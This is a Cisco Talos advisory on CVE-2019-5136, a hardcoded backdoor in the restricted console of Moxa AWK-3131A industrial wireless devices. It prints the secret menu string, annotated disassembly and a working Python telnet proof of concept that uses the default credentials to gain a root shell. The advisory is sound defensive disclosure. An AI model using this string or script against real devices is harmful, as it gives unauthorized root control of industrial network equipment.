Talos Vulnerability Report

TALOS-2019-0925

Moxa AWK-3131A iw_console Privilege Escalation Vulnerability

February 24, 2020
CVE Number

CVE-2019-5136

Summary

An exploitable privilege escalation vulnerability exists in the iw_console functionality of the Moxa AWK-3131A firmware version 1.13. A specially crafted menu selection string can cause an escape from the restricted console, resulting in system access as the root user. An attacker can send commands while authenticated as a low privilege user to trigger this vulnerability.

Tested Versions

Moxa AWK-3131A Firmware version 1.13

Product URLs

http://www.moxa.com/product/AWK-3131A.htm

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-284: Improper Access Control

Details

The Moxa AWK-3131A Industrial IEEE 802.11a/b/g/n wireless AP/bridge/client is a wireless networking appliance intended for use in industrial environments. It is designed to provide wireless communication capabilities to the environments in which it is deployed. Communication with the device is possible using HTTP, Telnet, and SSH.

When a legitimate user uses Telnet or SSH to log into the device they are presented with a restricted shell known as iwconsole. iwconsole allows the user to make various configuration changes, but is not intended to give that user access to the underlying system. When interacting with iw_console, the user is first presented with a 'Main Menu' where they are instructed to enter a character indicating their choice from a list of options, as shown below:

<< Main Menu >>
  (1) System Info Settings
  (2) Network Settings
  (3) Time Settings
  (4) Maintenance
  (5) Restart
  (q) Quit

Key in your selection: 

During normal operation if a user types more than one character, or chooses an option that is not listed, iwconsole prints an error message and prompts again for input. If, however, the user enters the specific string "94jo3dkru4 moxaiwroot" then iwconsole will drop the user into a full root shell. When entering the backdoor string it will appear that only the first character has been accepted, however the console continues to read input until a newline is received. This can be seen below:

<< Main Menu >>
  (1) System Info Settings
  (2) Network Settings
  (3) Time Settings
  (4) Maintenance
  (5) Restart
  (q) Quit

Key in your selection: 9~ # whoami
root
~ # 

This backdoor appears to have been introduced during a patch following the use of the same values as login credentials as disclosed in TALOS-2016-0231 on firmware version 1.1.

Disassembly for the relevant blocks can be seen below:

#
# sub_402628
#
...
00402970  2444a230   addiu   $a0, $v0, -0x5dd0  {0x41a230, "Key in your selection: "}      # prep prompt message
00402974  8f82802c   lw      $v0, -0x7fd4($gp)  {conio_writestr}  {0x41a7cc}
00402978  0040c821   move    $t9, $v0  {conio_writestr}
0040297c  0411fc92   bal     conio_writestr                                                # call conio_writestr to print the msg to stdout
00402980  00000000   nop     
00402984  8fdc0018   lw      $gp, 0x18($fp) {var_70}  {0x4227a0}
00402988  afc00024   sw      $zero, 0x24($fp) {var_64}  {0x0}
0040298c  08100a71   j       0x4029c4
00402990  00000000   nop     
...                                                                                        # trimming setup code
004029f4  00402021   move    $a0, $v0 {var_50}
004029f8  24050002   addiu   $a1, $zero, 2
004029fc  00003021   move    $a2, $zero  {0x0}
00402a00  00003821   move    $a3, $zero  {0x0}
00402a04  8f828044   lw      $v0, -0x7fbc($gp)  {conio_readstr}  {0x41a7e4}
00402a08  0040c821   move    $t9, $v0  {conio_readstr}
00402a0c  0411fb99   bal     conio_readstr                                                 # call to conio_readstr to get the user input
00402a10  00000000   nop                                                                   # $v0 will be set to '0x63' when the backdoor is used
...                                                                                        # trimming checks to make sure there wasn't a failure in conio_readstr
00402a70  8fc30030   lw      $v1, 0x30($fp) {var_58_1}
00402a74  24020063   addiu   $v0, $zero, 0x63
00402a78  14620012   bne     $v1, $v0, 0x402ac4                                            # checking to see if $v0 contains the value '0x63' (c)
00402a7c  00000000   nop     
00402a80  8f82803c   lw      $v0, -0x7fc4($gp)  {conio_end}  {0x41a7dc}
00402a84  0040c821   move    $t9, $v0  {conio_end}
00402a88  0411f9e9   bal     conio_end
00402a8c  00000000   nop     
00402a90  8fdc0018   lw      $gp, 0x18($fp) {var_70}
00402a94  3c020041   lui     $v0, 0x41
00402a98  24449484   addiu   $a0, $v0, -0x6b7c  {0x409484, "/bin/sh"}
00402a9c  8f828098   lw      $v0, -0x7f68($gp)  {iw_system_quiet}
00402aa0  0040c821   move    $t9, $v0
00402aa4  0320f809   jalr    $t9                                                           # calls iw_system_quiet with the param '/bin/bash'
00402aa8  00000000   nop     
...

#
# conio_readstr
#
...
0040191c  27c20028   addiu   $v0, $fp, 0x28 {var_10}
00401920  00402021   move    $a0, $v0 {var_10}
00401924  00002821   move    $a1, $zero  {0x0}
00401928  0c1005a4   jal     conio_getch                                                   # calls conio_getch which is intended to only read one character
0040192c  00000000   nop                                                                   # when the backdoor is used it returns the value '0x63'
00401930  8fdc0010   lw      $gp, 0x10($fp) {var_28}
00401934  afc20024   sw      $v0, 0x24($fp) {var_14_1}                                     # stores the return value (0x63) into var_14_1
00401938  8fc30024   lw      $v1, 0x24($fp) {var_14_1}                                     # loads $v1 with var_14_1
0040193c  24020063   addiu   $v0, $zero, 0x63                                              # loads $v0 with 0x63  
00401940  14620004   bne     $v1, $v0, 0x401954                                            # checks to see if the $v1 (the return value) is equal to 0x63    
00401944  00000000   nop                                                                   # continues since it is
00401948  24020063   addiu   $v0, $zero, 0x63                                              # loads the conio_readstr return value with 0x63 and jumps to the end
0040194c  081006ec   j       0x401bb0
00401950  00000000   nop     
...
00401bb0  03c0e821   move    $sp, $fp
00401bb4  8fbf0034   lw      $ra, 0x34($sp) {__saved_$ra}
00401bb8  8fbe0030   lw      $fp, 0x30($sp) {__saved_$fp}
00401bbc  27bd0038   addiu   $sp, $sp, 0x38
00401bc0  03e00008   jr      $ra                                                           # returns to sub_402628 with return value of 0x63
00401bc4  00000000   nop     
...

#
# conio_getch
#
...
004017c0  3c020042   lui     $v0, 0x42
004017c4  ac40a95c   sw      $zero, -0x56a4($v0)  {0x0}  {data_41a95c}
004017c8  3c020041   lui     $v0, 0x41
004017cc  24448340   addiu   $a0, $v0, -0x7cc0  {0x408340, "94jo3dkru4 moxaiwroot"}        # sets the first arg to the backdoor string
004017d0  3c020042   lui     $v0, 0x42
004017d4  2445a960   addiu   $a1, $v0, -0x56a0  {0x41a960}                                 # sets the second arg to the user input
004017d8  8f828078   lw      $v0, -0x7f88($gp)  {strcmp}
004017dc  0040c821   move    $t9, $v0
004017e0  0320f809   jalr    $t9                                                           # compares the backdoor string with the user input
004017e4  00000000   nop     
004017e8  8fdc0010   lw      $gp, 0x10($fp) {var_18}
004017ec  1440001a   bne     $v0, $zero, 0x401858                                          # does not jump when the user input is the backdoor string
004017f0  00000000   nop     
004017f4  3c020042   lui     $v0, 0x42
004017f8  2444a960   addiu   $a0, $v0, -0x56a0  {0x41a960}
004017fc  00002821   move    $a1, $zero  {0x0}
00401800  24060019   addiu   $a2, $zero, 0x19
00401804  8f828104   lw      $v0, -0x7efc($gp)  {memset}
00401808  0040c821   move    $t9, $v0
0040180c  0320f809   jalr    $t9
00401810  00000000   nop     
00401814  8fdc0010   lw      $gp, 0x10($fp) {var_18}  {0x4227a0}
00401818  24020063   addiu   $v0, $zero, 0x63                                              # sets the conio_getch return value to 0x63
0040181c  08100617   j       0x40185c
00401820  00000000   nop     
...
0040185c  03c0e821   move    $sp, $fp
00401860  8fbf0024   lw      $ra, 0x24($sp) {__saved_$ra}
00401864  8fbe0020   lw      $fp, 0x20($sp) {__saved_$fp}
00401868  27bd0028   addiu   $sp, $sp, 0x28
0040186c  03e00008   jr      $ra                                                           # returns to conio_readstr with the return value of 0x63
00401870  00000000   nop     
...

Exploit Proof of Concept

import telnetlib
import socket

def main():
    # define some required params
    rhost = "192.168.127.253"
    username = "admin"
    password = "moxa"
    payload = "94jo3dkru4 moxaiwroot"
    command = "whoami"
    rport = 4444

    # format the params into messages
    usernameMsg = "{}\n".format(username)
    passwordMsg = "{}\n".format(password)
    payloadMsg  = "{}\n".format(payload)
    cmdMsg = "\n telnetd -l{} -p{} \n".format(command, rport)

    # interact with the telnet window
    # device name is set and then the device is rebooted
    tn = telnetlib.Telnet(rhost)
    tn.read_until("login: ")
    tn.write(usernameMsg)
    tn.read_until("Password: ")
    tn.write(passwordMsg)
    tn.read_until("selection: ")
    tn.write(payloadMsg)
    tn.read_until("#")
    tn.write(cmdMsg)

    # open up a socket and connect to the newly opened telnet port
    # the response should be the output of your command
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((rhost, rport))
    print(s.recv(1024))
    print(s.recv(1024))
    print(s.recv(1024))
    print(s.recv(1024))
    s.close()

if __name__ == '__main__':
    main()

Timeline

2019-10-22 - Vendor Disclosure
2020-02-24 - Public Release

Credit

Discovered by Jared Rittle and Carl Hurd of Cisco Talos.